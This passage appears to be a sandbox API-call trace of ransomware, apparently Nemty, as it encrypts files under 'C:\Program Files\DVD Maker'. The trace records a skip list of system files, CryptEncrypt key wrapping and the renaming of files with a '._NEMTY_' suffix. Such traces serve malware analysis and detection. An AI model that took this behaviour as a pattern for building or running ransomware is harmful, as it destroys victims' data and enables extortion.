ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0082.333] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.333] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0082.333] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.333] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0082.343] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.343] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0082.343] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.343] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0082.352] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.352] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0082.353] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.353] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0082.362] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.362] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0082.362] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.362] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0082.371] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.371] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0082.371] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.371] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0082.381] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.381] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0082.381] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.381] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0082.390] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.391] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0082.391] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.391] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0082.400] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.400] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0082.400] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.400] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0082.406] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.406] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0082.406] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.406] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0082.412] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.412] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0082.412] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163940, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.412] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0082.412] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0082.412] CloseHandle (hObject=0xffffffff) returned 0 [0082.412] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0082.412] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0082.412] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0082.412] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0082.412] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0082.412] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0082.412] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63401b8 [0082.412] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340260 [0082.412] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0082.412] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0082.413] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_photo_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_photo_thumbnail.bmp"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_photo_Thumbnail.bmp._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_photo_thumbnail.bmp._nemty_kgobjgd_")) returned 0 [0082.413] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0082.413] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0082.413] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0082.413] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0082.413] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0082.413] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0082.413] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0082.413] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94268 | out: hHeap=0x4f90000) returned 1 [0082.413] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0082.413] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0082.413] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea754f5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ea754f5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="rectangle_plain_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0082.413] lstrcmpiW (lpString1="rectangle_plain_Thumbnail.bmp", lpString2=".") returned 1 [0082.413] lstrcmpiW (lpString1="rectangle_plain_Thumbnail.bmp", lpString2="..") returned 1 [0082.413] lstrcmpiW (lpString1="rectangle_plain_Thumbnail.bmp", lpString2="...") returned 1 [0082.413] lstrcmpiW (lpString1="rectangle_plain_Thumbnail.bmp", lpString2="windows") returned -1 [0082.413] lstrcmpiW (lpString1="rectangle_plain_Thumbnail.bmp", lpString2="$RECYCLE.BIN") returned 1 [0082.413] lstrcmpiW (lpString1="rectangle_plain_Thumbnail.bmp", lpString2="rsa") returned -1 [0082.413] lstrcmpiW (lpString1="rectangle_plain_Thumbnail.bmp", lpString2="NTDETECT.COM") returned 1 [0082.413] lstrcmpiW (lpString1="rectangle_plain_Thumbnail.bmp", lpString2="ntldr") returned 1 [0082.413] lstrcmpiW (lpString1="rectangle_plain_Thumbnail.bmp", lpString2="MSDOS.SYS") returned 1 [0082.413] lstrcmpiW (lpString1="rectangle_plain_Thumbnail.bmp", lpString2="IO.SYS") returned 1 [0082.413] lstrcmpiW (lpString1="rectangle_plain_Thumbnail.bmp", lpString2="boot.ini") returned 1 [0082.413] lstrcmpiW (lpString1="rectangle_plain_Thumbnail.bmp", lpString2="boot.ini") returned 1 [0082.413] lstrcmpiW (lpString1="rectangle_plain_Thumbnail.bmp", lpString2="AUTOEXEC.BAT") returned 1 [0082.413] lstrcmpiW (lpString1="rectangle_plain_Thumbnail.bmp", lpString2="ntuser.dat") returned 1 [0082.413] lstrcmpiW (lpString1="rectangle_plain_Thumbnail.bmp", lpString2="desktop.ini") returned 1 [0082.413] lstrcmpiW (lpString1="rectangle_plain_Thumbnail.bmp", lpString2="CONFIG.SYS") returned 1 [0082.413] lstrcmpiW (lpString1="rectangle_plain_Thumbnail.bmp", lpString2="RECYCLER") returned -1 [0082.413] lstrcmpiW (lpString1="rectangle_plain_Thumbnail.bmp", lpString2="BOOTSECT.BAK") returned 1 [0082.414] lstrcmpiW (lpString1="rectangle_plain_Thumbnail.bmp", lpString2="bootmgr") returned 1 [0082.414] lstrcmpiW (lpString1="rectangle_plain_Thumbnail.bmp", lpString2="programdata") returned 1 [0082.414] lstrcmpiW (lpString1="rectangle_plain_Thumbnail.bmp", lpString2="appdata") returned 1 [0082.414] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0082.414] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rectangle_plain_Thumbnail.bmp", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0082.414] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0082.414] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rectangle_plain_Thumbnail.bmp", cchWideChar=29, lpMultiByteStr=0x4f9ecb8, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rectangle_plain_Thumbnail.bmp", lpUsedDefaultChar=0x0) returned 29 [0082.414] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0082.414] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0082.414] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rectangle_plain_Thumbnail.bmp", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0082.414] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0082.414] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rectangle_plain_Thumbnail.bmp", cchWideChar=29, lpMultiByteStr=0x4f9ecb8, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rectangle_plain_Thumbnail.bmp", lpUsedDefaultChar=0x0) returned 29 [0082.414] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0082.414] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0082.414] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0082.414] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0082.414] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rectangle_plain_Thumbnail.bmp", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0082.414] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0082.414] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rectangle_plain_Thumbnail.bmp", cchWideChar=29, lpMultiByteStr=0x4f9ecb8, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rectangle_plain_Thumbnail.bmp", lpUsedDefaultChar=0x0) returned 29 [0082.414] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0082.414] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0082.414] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rectangle_plain_Thumbnail.bmp", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0082.414] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0082.414] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rectangle_plain_Thumbnail.bmp", cchWideChar=29, lpMultiByteStr=0x4f9ed58, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rectangle_plain_Thumbnail.bmp", lpUsedDefaultChar=0x0) returned 29 [0082.414] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0082.414] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94268 [0082.414] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0082.414] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f941c0 [0082.414] Sleep (dwMilliseconds=0x5) [0082.428] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xe4c72630, dwHighDateTime=0x1d561e7)) [0082.428] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xe4c72630, dwHighDateTime=0x1d561e7)) [0082.428] GetLastError () returned 0x5 [0082.428] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0082.428] GetLastError () returned 0x5 [0082.428] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0082.428] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0082.428] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0082.428] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653ec60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653ec60*=0x100) returned 1 [0082.428] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x10, dwBufLen=0x100 | out: pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x100) returned 1 [0082.429] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ec5c | out: pszString=0x0, pcchString=0x653ec5c) returned 1 [0082.429] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0082.429] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ec5c | out: pszString="12YpuPf1JvLiyr9vEr037+fDgE6Ro6kkSt7ib/juPVxRtRVwxxkO2ne2cpvi+PfA\r\ne5iQZcK+rKVe8WsiJP/KZAQgE3TTKalmrIMp+4wr3Dx1p/CdsWzOn0dsm/GVRnEt\r\nnq4hryGlqSLkJzl9UehkLjPnMeDmgRRYxbiG/MYM+dCTttPwV+uVXN9lNJLOYkys\r\nbyoBHtwI5Zi72BkqyomV2vh5esQrcfJ6jdrkkm4dZPtozg9/op7NjhxjgJRf28kP\r\nD1PGQ7JgMmXgEeNF8PEhFbS6CYU955SqzeUZqvOHo5gJBvB3JkZ/Q0tg9xOoVdFX\r\nwmEXsggglLqvwNmlm3vBBA==\r\n", pcchString=0x653ec5c) returned 1 [0082.429] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0082.429] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0082.429] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0082.429] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0082.429] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0082.429] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0082.429] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_plain_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_plain_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0082.429] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eeb0 | out: lpFileSize=0x653eeb0*=18150282790956772) returned 0 [0082.429] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0082.429] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.429] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0082.438] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.438] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0082.439] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.439] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0082.448] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.448] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0082.448] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.448] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0082.457] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.458] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0082.458] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.458] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0082.469] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.469] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0082.469] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.469] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0082.478] 